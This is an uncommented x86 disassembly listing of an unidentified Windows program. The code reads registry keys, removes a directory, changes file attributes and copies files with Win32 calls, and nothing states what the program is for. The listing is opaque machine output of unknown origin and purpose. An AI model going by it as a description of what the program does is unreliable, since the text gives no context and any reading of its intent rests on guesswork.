mov eax, 0x5ad700
call fcn.0058ff78
mov eax, dword [ebp - 0x1678]
call fcn.00593654
test al, al
je 0x59f928
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.00430970
jmp 0x59f938
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.00430970
mov eax, dword [0x5d510c]
cmp dword [eax], 1
jne 0x59f952
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.00430970
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20019
lea edx, [ebp - 0x1680]
mov eax, 0x5adaf8
call fcn.0058ff78
mov ecx, dword [ebp - 0x1680]
lea eax, [ebp - 0x167c]
mov edx, 0x5adb80
call fcn.00405d5c
mov edx, dword [ebp - 0x167c]
xor ecx, ecx
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
lea ecx, [ebp - 0x1684]
mov edx, 0x5adbc0
mov eax, dword [ebp - 0x53c]
call fcn.0043103c
mov edx, dword [ebp - 0x1684]
mov eax, 0x5dbd3c
call fcn.00405a98
mov edx, dword [0x5dbd3c]
mov eax, 0x5adbd8
call fcn.00410338
mov edx, eax
mov eax, 0x5dbd3c
mov ecx, 1
call fcn.00405f7c
mov eax, dword [0x5dbd3c]
mov dword [ebp - 0x700], eax
mov eax, dword [ebp - 0x700]
mov dword [ebp - 0x704], eax
cmp dword [ebp - 0x704], 0
je 0x59fa10
mov eax, dword [ebp - 0x704]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x704], eax
mov edx, dword [0x5dbd3c]
mov eax, 0x5adbd8
call fcn.00410338
mov edx, eax
mov eax, 0x5dbd3c
mov ecx, dword [ebp - 0x704]
call fcn.00405f7c
lea edx, [ebp - 0x168c]
mov eax, dword [0x5dbd3c]
call fcn.0040bb78
mov eax, dword [ebp - 0x168c]
lea edx, [ebp - 0x1688]
call fcn.00589d4c
mov edx, dword [ebp - 0x1688]
mov eax, 0x5dbd3c
call fcn.00405a98
mov eax, dword [ebp - 0x53c]
call fcn.00404ae4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59fa8c
cmp dword [0x5d4658], 0
je 0x59fab5
lea edx, [ebp - 0x1690]
mov eax, dword [0x5d4658]
call fcn.00589d4c
mov edx, dword [ebp - 0x1690]
mov eax, 0x5dbd3c
call fcn.00405a98
cmp dword [0x5dbd74], 3
jne 0x59fb1a
lea eax, [ebp - 0x1694]
mov ecx, dword [0x5dbd08]
mov edx, dword [0x5dbd3c]
call fcn.00405d5c
mov eax, dword [ebp - 0x1694]
call fcn.0040b89c
test al, al
jne 0x59fb1a
lea eax, [ebp - 0x1698]
mov ecx, dword [0x5dbd08]
mov edx, dword [0x5dbd28]
call fcn.00405d5c
mov eax, dword [ebp - 0x1698]
call fcn.0040b89c
test al, al
je 0x59fb1a
mov eax, 0x5dbd3c
mov edx, dword [0x5dbd28]
call fcn.00405a98
cmp dword [0x5dbd74], 3
jne 0x59fb49
lea eax, [ebp - 0x169c]
mov ecx, dword [0x5dbd08]
mov edx, dword [0x5dbd3c]
call fcn.00405d5c
mov eax, dword [ebp - 0x169c]
call fcn.0040b89c
test al, al
je 0x59fb80
cmp dword [0x5dbd74], 3
je 0x59ff70
lea eax, [ebp - 0x16a0]
mov ecx, dword [0x5dbd08]
mov edx, dword [0x5dbd28]
call fcn.00405d5c
mov eax, dword [ebp - 0x16a0]
call fcn.0040b89c
test al, al
jne 0x59ff70
lea edx, [ebp - 0x16a4]
mov eax, 0x5add04
call fcn.0058ff78
mov eax, dword [ebp - 0x16a4]
call fcn.00593654
test al, al
jne 0x59fbb5
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae680
call fcn.00405e6c
jne 0x59ff70
cmp dword [0x5dbd74], 2
je 0x59ff70
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae680
call fcn.00405e6c
je 0x59fc19
lea eax, [ebp - 0x16a8]
push eax
lea ecx, [ebp - 0x16ac]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16ac]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x16a8]
call fcn.00593654
test al, al
je 0x59ff70
mov byte [ebp - 0x57d], 0
mov byte [ebp - 0x57e], 0
cmp byte [0x5dbcf4], 0
je 0x59fc39
mov byte [ebp - 0x57d], 1
jmp 0x59fc5b
mov eax, dword [0x5dbcc4]
push eax
lea ecx, [ebp - 0x3c0]
mov eax, dword [0x5d4938]
mov eax, dword [eax]
xor edx, edx
call fcn.0042d894
xor al, 1
mov byte [ebp - 0x57d], al
lea edx, [ebp - 0x16b0]
mov eax, dword [ebp - 0x3c0]
call fcn.00589d4c
lea eax, [ebp - 0x16b0]
mov edx, dword [0x5dbd08]
call fcn.00405d10
mov eax, dword [ebp - 0x16b0]
call fcn.0040b89c
test al, al
jne 0x59fcd1
lea edx, [ebp - 0x16b8]
mov eax, dword [ebp - 0x3c0]
call fcn.00589d4c
push dword [ebp - 0x16b8]
push 0x5ade54
push dword [0x5dbd08]
lea eax, [ebp - 0x16b4]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x16b4]
call fcn.0040b89c
test al, al
jne 0x59fcd1
xor eax, eax
jmp 0x59fcd3
mov al, 1
mov byte [ebp - 0x57e], al
movzx eax, byte [ebp - 0x57d]
or al, byte [ebp - 0x57e]
je 0x59fc27
cmp byte [ebp - 0x57e], 0
je 0x59fd88
lea edx, [ebp - 0x16bc]
mov eax, dword [ebp - 0x3c0]
call fcn.00589d4c
lea eax, [ebp - 0x16bc]
mov edx, dword [0x5dbd08]
call fcn.00405d10
mov eax, dword [ebp - 0x16bc]
call fcn.0040b89c
test al, al
je 0x59fd4d
lea edx, [ebp - 0x16c0]
mov eax, dword [ebp - 0x3c0]
call fcn.00589d4c
mov edx, dword [ebp - 0x16c0]
mov eax, 0x5dbd28
call fcn.00405a98
jmp 0x59fd73
lea edx, [ebp - 0x16c4]
mov eax, dword [ebp - 0x3c0]
call fcn.00589d4c
mov edx, dword [ebp - 0x16c4]
mov eax, 0x5dbd28
mov ecx, 0x5ade54
call fcn.00405d5c
mov eax, 0x5dbd38
mov edx, dword [0x5dbd28]
call fcn.00405a98
jmp 0x59ff70
cmp byte [ebp - 0x57d], 0
je 0x59ff70
mov edx, dword [0x5d4ee0]
mov edx, dword [edx]
mov ecx, 0x5ae694
mov eax, 0x5ad928
call fcn.0058ffe4
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae668
call fcn.00405e6c
jne 0x59fe99
lea eax, [ebp - 0x16c8]
push eax
lea ecx, [ebp - 0x16cc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16cc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
cmp dword [ebp - 0x16c8], 0
je 0x5acec8
lea eax, [ebp - 0x16d0]
push eax
lea ecx, [ebp - 0x16d4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16d4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x16d0]
lea edx, [ebp - 0x3c0]
call fcn.005af56c
cmp dword [ebp - 0x3c0], 0
jne 0x59fe7f
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x16d8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16d8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov ecx, 0x5ae694
mov edx, 0x5ae6b4
mov eax, dword [ebp - 0x3c0]
call fcn.0058ffe4
jmp 0x5acec8
lea eax, [ebp - 0x16dc]
push eax
lea ecx, [ebp - 0x16e0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16e0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
cmp dword [ebp - 0x16dc], 0
je 0x5acec8
lea eax, [ebp - 0x16e4]
push eax
lea ecx, [ebp - 0x16e8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16e8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x16e4]
lea edx, [ebp - 0x3c0]
call fcn.005af56c
cmp dword [ebp - 0x3c0], 0
jne 0x59ff56
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x16ec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16ec]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov ecx, 0x5ae6c4
mov edx, 0x5ae6b4
mov eax, dword [ebp - 0x3c0]
call fcn.0058ffe4
jmp 0x5acec8
cmp dword [0x5dbd74], 2
jne 0x5a002e
xor eax, eax
push ebp
push 0x59ffd5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x609]
push eax
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
mov eax, 0x5ae6e0
call fcn.005901ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a002e
mov eax, dword [0x5dbd20]
call fcn.00405ed4
mov edx, eax
lea eax, [ebp - 0x16f4]
call fcn.00405c3c
mov edx, dword [ebp - 0x16f4]
mov eax, 0x5ae6f4
call fcn.005bfaf4
push ebp
mov eax, 0x5ae6f4
call fcn.00593fdc
pop ecx
push ebp
mov eax, dword [0x5dbd20]
call fcn.00593fdc
pop ecx
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae680
call fcn.00405e6c
jne 0x5a01b7
mov eax, 0x5dbd3c
mov edx, dword [0x5dbd28]
call fcn.00405a98
lea edx, [ebp - 0x16fc]
mov eax, dword [ebp + 8]
call fcn.0040bb78
mov eax, dword [ebp - 0x16fc]
lea edx, [ebp - 0x16f8]
call fcn.00589d4c
push dword [ebp - 0x16f8]
lea edx, [ebp - 0x1700]
mov eax, dword [ebp + 8]
call fcn.00589cac
push dword [ebp - 0x1700]
push 0x5ad758
lea eax, [ebp + 8]
mov edx, 3
call fcn.00405dd8
lea eax, [ebp - 0x1704]
call fcn.0058ee54
mov eax, dword [ebp - 0x1704]
push eax
lea edx, [ebp - 0x1708]
mov eax, dword [0x5dbcd4]
call fcn.00420508
mov eax, dword [ebp - 0x1708]
push eax
lea edx, [ebp - 0x170c]
mov eax, dword [ebp - 4]
call fcn.00420508
mov eax, dword [ebp - 0x170c]
push eax
mov eax, dword [0x5dbd0c]
push eax
push 0
push 0
lea eax, [ebp - 0x3c0]
push eax
lea edx, [ebp - 0x1714]
mov eax, 0x5ad6d8
call fcn.0058ff78
mov eax, dword [ebp - 0x1714]
lea edx, [ebp - 0x1710]
call fcn.0058feb0
mov eax, dword [ebp - 0x1710]
push eax
xor ecx, ecx
mov edx, dword [ebp + 8]
mov al, 1
call fcn.005bf618
mov dword [ebp - 0x54c], eax
lea edx, [ebp - 0x171c]
mov eax, dword [ebp + 8]
call fcn.0040bb78
mov eax, dword [ebp - 0x171c]
lea edx, [ebp - 0x1718]
call fcn.00589d4c
push dword [ebp - 0x1718]
lea edx, [ebp - 0x1720]
mov eax, dword [ebp + 8]
call fcn.00589cac
push dword [ebp - 0x1720]
push 0x5ae708
lea eax, [ebp + 8]
mov edx, 3
call fcn.00405dd8
jmp 0x5a038f
cmp dword [0x5dbd5c], 0
je 0x5a01fc
lea edx, [ebp - 0x1724]
mov eax, dword [0x5dbd5c]
call fcn.004af108
mov edx, dword [ebp - 0x1724]
mov eax, 0x5ae718
call fcn.0058ee94
mov edx, dword [0x5dbda0]
mov eax, dword [ebp + 8]
call fcn.005bfb9c
mov edx, dword [0x5dbda4]
mov eax, dword [ebp + 8]
call fcn.005bfdbc
lea eax, [ebp - 0x1728]
call fcn.0058ee54
mov eax, dword [ebp - 0x1728]
push eax
lea edx, [ebp - 0x172c]
mov eax, dword [0x5dbcd4]
call fcn.00420508
mov eax, dword [ebp - 0x172c]
push eax
lea edx, [ebp - 0x1730]
mov eax, dword [ebp - 4]
call fcn.00420508
mov eax, dword [ebp - 0x1730]
push eax
mov eax, dword [0x5dbd0c]
push eax
lea eax, [ebp - 0x1734]
push eax
lea ecx, [ebp - 0x1738]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1738]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1734]
call fcn.00593654
push eax
lea eax, [ebp - 0x173c]
push eax
lea ecx, [ebp - 0x1740]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1740]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x173c]
call fcn.00593654
test al, al
jne 0x5a0300
lea eax, [ebp - 0x1744]
push eax
lea ecx, [ebp - 0x1748]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1748]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1744]
call fcn.00593654
test al, al
je 0x5a0304
xor eax, eax
jmp 0x5a0306
mov al, 1
push eax
lea eax, [ebp - 0x3c0]
push eax
lea edx, [ebp - 0x1750]
mov eax, 0x5ad6d8
call fcn.0058ff78
mov eax, dword [ebp - 0x1750]
lea edx, [ebp - 0x174c]
call fcn.0058feb0
mov eax, dword [ebp - 0x174c]
push eax
lea eax, [ebp - 0x1758]
push eax
lea ecx, [ebp - 0x175c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x175c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1758]
lea edx, [ebp - 0x1754]
call fcn.005935a4
mov ecx, dword [ebp - 0x1754]
mov edx, dword [ebp + 8]
xor eax, eax
call fcn.005bf618
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x3c0], 0
je 0x5a03d6
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae668
call fcn.00405e6c
jne 0x5a03c1
mov ecx, 0x5ae694
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5ad928
call fcn.0058ffe4
jmp 0x5a03d6
mov ecx, 0x5ae6c4
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5ad928
call fcn.0058ffe4
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae668
call fcn.00405e6c
jne 0x5a0533
lea eax, [ebp - 0x1760]
push eax
lea ecx, [ebp - 0x1764]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1764]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
cmp dword [ebp - 0x1760], 0
je 0x5a0675
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x1768]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1768]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x3c0]
call fcn.005af628
test al, al
jne 0x5a04a8
lea edx, [ebp - 0x176c]
mov eax, dword [ebp - 0x3c0]
call fcn.0040ab58
mov eax, dword [ebp - 0x176c]
push eax
lea eax, [ebp - 0x1770]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1770]
xor edx, edx
pop eax
call fcn.0058ffac
mov eax, dword [ebp - 0x54c]
sub eax, 0xffffffff
je 0x5a04be
dec eax
je 0x5a04d0
dec eax
je 0x5a04e2
dec eax
je 0x5a04f4
jmp 0x5a0518
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae730
call fcn.00405adc
jmp 0x5a0518
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae6b4
call fcn.00405adc
jmp 0x5a0518
lea eax, [ebp - 0x3c4]
mov edx, 0x5ada60
call fcn.00405adc
jmp 0x5a0518
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae740
call fcn.00405adc
mov ecx, 0x5ae694
mov edx, 0x5ad7b4
mov eax, 0x5ad988
call fcn.0058ffe4
mov ecx, 0x5ae694
mov edx, dword [ebp - 0x3c4]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ffe4
jmp 0x5a0675
lea eax, [ebp - 0x1774]
push eax
lea ecx, [ebp - 0x1778]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1778]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
cmp dword [ebp - 0x1774], 0
je 0x5a0675
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x177c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x177c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x3c0]
call fcn.005af628
test al, al
jne 0x5a05ef
lea edx, [ebp - 0x1780]
mov eax, dword [ebp - 0x3c0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1780]
push eax
lea eax, [ebp - 0x1784]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1784]
xor edx, edx
pop eax
call fcn.0058ffac
mov eax, dword [ebp - 0x54c]
sub eax, 0xffffffff
je 0x5a0605
dec eax
je 0x5a0617
dec eax
je 0x5a0629
dec eax
je 0x5a063b
jmp 0x5a065f
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae730
call fcn.00405adc
jmp 0x5a065f
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae6b4
call fcn.00405adc
jmp 0x5a065f
lea eax, [ebp - 0x3c4]
mov edx, 0x5ada60
call fcn.00405adc
jmp 0x5a065f
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae740
call fcn.00405adc
mov ecx, 0x5ae6c4
mov edx, 0x5ad7b4
mov eax, 0x5ad988
call fcn.0058ffe4
mov ecx, 0x5ae6c4
mov edx, dword [ebp - 0x3c4]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ffe4
cmp dword [ebp - 0x54c], 1
je 0x5a068b
cmp dword [ebp - 0x54c], 2
jne 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae680
call fcn.00405e6c
je 0x5acec8
lea edx, [ebp - 0x1788]
mov eax, 0x5ad700
call fcn.0058ff78
mov eax, dword [ebp - 0x1788]
call fcn.00593654
lea edx, [ebp - 0x3c0]
call fcn.0058f0a0
lea eax, [ebp - 0x3c8]
mov edx, dword [ebp - 0x3c0]
call fcn.00405adc
push dword [ebp - 0x3c0]
push dword [0x5dbd10]
push 0x5adbe4
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405dd8
lea edx, [ebp - 0x178c]
mov eax, dword [ebp + 8]
call fcn.00589cac
mov eax, dword [ebp - 0x178c]
push eax
lea edx, [ebp - 0x1794]
mov eax, dword [ebp + 8]
call fcn.0040bb78
mov eax, dword [ebp - 0x1794]
lea edx, [ebp - 0x1790]
call fcn.00589d4c
mov edx, dword [ebp - 0x1790]
lea eax, [ebp - 0x3c4]
pop ecx
call fcn.00405d5c
lea eax, [ebp - 0x1798]
push eax
lea ecx, [ebp - 0x179c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x179c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1798]
call fcn.00593654
test al, al
jne 0x5a0826
lea eax, [ebp - 0x17a0]
push eax
lea ecx, [ebp - 0x17a4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x17a4]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x17a0]
call fcn.00593654
test al, al
jne 0x5a0826
lea eax, [ebp - 0x17a8]
mov ecx, 0x5ae750
mov edx, dword [ebp - 0x3c0]
call fcn.00405d5c
mov eax, dword [ebp - 0x17a8]
call fcn.0040b8e4
lea edx, [ebp - 0x17ac]
mov eax, 0x5ad7c4
call fcn.0058ff78
mov eax, dword [ebp - 0x17ac]
call fcn.00593654
push eax
lea eax, [ebp - 0x17b0]
mov ecx, 0x5ae750
mov edx, dword [ebp - 0x3c0]
call fcn.00405d5c
mov eax, dword [ebp - 0x17b0]
pop edx
call fcn.004c956c
jmp 0x5a084d
lea eax, [ebp - 0x17b4]
mov ecx, 0x5ae750
mov edx, dword [ebp - 0x3c0]
call fcn.00405d5c
mov eax, dword [ebp - 0x17b4]
call fcn.00405ed4
push eax
call sub.kernel32.dll_RemoveDirectoryA
lea eax, [ebp - 0x17b8]
push eax
lea ecx, [ebp - 0x17bc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x17bc]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x17b8]
call fcn.00593654
test al, al
jne 0x5a091c
lea eax, [ebp - 0x17c0]
push eax
lea ecx, [ebp - 0x17c4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x17c4]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x17c0]
call fcn.00593654
test al, al
jne 0x5a0f1d
lea eax, [ebp - 0x17c8]
push eax
lea ecx, [ebp - 0x17cc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x17cc]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x17c8]
call fcn.00593654
test al, al
jne 0x5a0f1d
mov eax, dword [ebp - 0x3c0]
call fcn.0040b8e4
lea edx, [ebp - 0x17d0]
mov eax, 0x5ad7c4
call fcn.0058ff78
mov eax, dword [ebp - 0x17d0]
call fcn.00593654
mov edx, eax
mov eax, dword [ebp - 0x3c0]
call fcn.004c956c
cmp dword [0x5dbd74], 2
jne 0x5a0996
lea eax, [ebp - 0x17d4]
mov ecx, dword [0x5dbd0c]
mov edx, dword [ebp - 0x3c0]
call fcn.00405d5c
mov edx, dword [ebp - 0x17d4]
lea eax, [ebp - 0x3a8]
call fcn.00403950
lea eax, [ebp - 0x3a8]
call fcn.004036e0
lea eax, [ebp - 0x3a8]
call fcn.00403af8
push 0x80
lea edx, [ebp - 0x17e0]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x17e0]
lea edx, [ebp - 0x17dc]
call fcn.0040bc64
mov ecx, dword [ebp - 0x17dc]
lea eax, [ebp - 0x17d8]
mov edx, dword [ebp - 0x3c0]
call fcn.00405d5c
mov eax, dword [ebp - 0x17d8]
call fcn.00405ed4
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
lea edx, [ebp - 0x17ec]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x17ec]
lea edx, [ebp - 0x17e8]
call fcn.0040bc64
mov ecx, dword [ebp - 0x17e8]
lea eax, [ebp - 0x17e4]
mov edx, dword [ebp - 0x3c0]
call fcn.00405d5c
mov eax, dword [ebp - 0x17e4]
call fcn.00405ed4
push eax
lea edx, [ebp - 0x17f0]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x17f0]
call fcn.00405ed4
push eax
call sub.kernel32.dll_CopyFileA
push 0x80
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x17fc]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x17fc]
lea edx, [ebp - 0x17f8]
call fcn.00589cac
push dword [ebp - 0x17f8]
push 0x5ae708
lea eax, [ebp - 0x17f4]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x17f4]
call fcn.00405ed4
push eax
call sub.kernel32.dll_SetFileAttributesA
cmp dword [0x5dbc9c], 0
jne 0x5a0b43
push 0
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1808]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x1808]
lea edx, [ebp - 0x1804]
call fcn.00589cac
push dword [ebp - 0x1804]
push 0x5ae708
lea eax, [ebp - 0x1800]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1800]
call fcn.00405ed4
push eax
push dword [0x5dbcc8]
lea edx, [ebp - 0x1814]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x1814]
lea edx, [ebp - 0x1810]
call fcn.00589cac
push dword [ebp - 0x1810]
push 0x5ae708
lea eax, [ebp - 0x180c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x180c]
call fcn.00405ed4
push eax
call sub.kernel32.dll_CopyFileA
jmp 0x5a0ba0
push 0
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1820]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x1820]
lea edx, [ebp - 0x181c]
call fcn.00589cac
push dword [ebp - 0x181c]
push 0x5ae708
lea eax, [ebp - 0x1818]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1818]
call fcn.00405ed4
push eax
mov eax, dword [0x5dbc9c]
call fcn.00405ed4
push eax
call sub.kernel32.dll_CopyFileA
push 0x80
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x182c]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x182c]
lea edx, [ebp - 0x1828]
call fcn.00589cac
push dword [ebp - 0x1828]
push 0x5ae760
lea eax, [ebp - 0x1824]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1824]
call fcn.00405ed4
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1838]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x1838]
lea edx, [ebp - 0x1834]
call fcn.00589cac
push dword [ebp - 0x1834]
push 0x5ae760
lea eax, [ebp - 0x1830]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1830]
call fcn.00405ed4
push eax
push dword [0x5dbcc8]
lea edx, [ebp - 0x1844]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x1844]
lea edx, [ebp - 0x1840]
call fcn.00589cac
push dword [ebp - 0x1840]
push 0x5ae760
lea eax, [ebp - 0x183c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x183c]
call fcn.00405ed4
push eax
call sub.kernel32.dll_CopyFileA
push 0x80
lea eax, [ebp - 0x1848]
mov ecx, 0x5ae770
mov edx, dword [ebp - 0x3c0]
call fcn.00405d5c
mov eax, dword [ebp - 0x1848]
call fcn.00405ed4
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
lea eax, [ebp - 0x184c]
mov ecx, 0x5ae770
mov edx, dword [ebp - 0x3c0]
call fcn.00405d5c
mov eax, dword [ebp - 0x184c]
call fcn.00405ed4
push eax
lea eax, [ebp - 0x1850]
mov ecx, 0x5ae770
mov edx, dword [0x5dbcc8]
call fcn.00405d5c
mov eax, dword [ebp - 0x1850]
call fcn.00405ed4
push eax
call sub.kernel32.dll_CopyFileA
push 0x80
lea eax, [ebp - 0x1854]
mov ecx, 0x5ae780
mov edx, dword [ebp - 0x3c0]
call fcn.00405d5c
mov eax, dword [ebp - 0x1854]
call fcn.00405ed4
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
lea eax, [ebp - 0x1858]
mov ecx, 0x5ae780
mov edx, dword [ebp - 0x3c0]
call fcn.00405d5c
mov eax, dword [ebp - 0x1858]
call fcn.00405ed4
push eax
lea eax, [ebp - 0x185c]
mov ecx, 0x5ae780
mov edx, dword [0x5dbcc8]
call fcn.00405d5c
mov eax, dword [ebp - 0x185c]
call fcn.00405ed4
push eax
call sub.kernel32.dll_CopyFileA
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1868]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x1868]
